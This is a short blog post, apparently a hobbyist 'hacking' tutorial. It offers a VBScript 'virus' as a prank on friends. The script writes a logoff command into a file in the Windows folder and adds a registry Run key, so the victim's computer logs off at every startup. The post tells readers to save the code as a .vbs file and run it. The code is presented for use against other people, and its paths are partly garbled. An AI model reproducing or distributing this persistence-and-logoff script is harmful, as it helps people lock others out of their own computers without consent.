Virus has always been very very intresting topic in Hacking specifically, many of us are very much intrested in creating VIRUS, So here is a sample code that will always LOGOUT computer. Just create a notepad file and save and run it , name it anyname.vbs . Note the extension must be .vbs . Time for Prank on your Friends
set ws=createobject("wscript.shell")
dim strDir,strfile,st,strtxt2,strshell,strlog
dim obfso,obfolder,obshell,obfile,obtxtfile
strshell="wscript.shell"
strDir="C:WINDOWS"
strfile="wscript.vbs"
st=Chr(34)
strlog="shutdown -l"
strtxt2="ws.run(strlog)"
set obfso=CreateObject("Scripting.FileSystemObject")
on error resume next
set obfile=obfso.CreateTextfile(strDir & strfile)
obfile.writeline("set ws=createobject("&st&strshell&st&")")
obfile.writeline("ws.run("&st&strlog&st&")")
ws.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionRunLogoff","C:WINDOWSwscript.vbs","REG_SZ”
No comments:
Post a Comment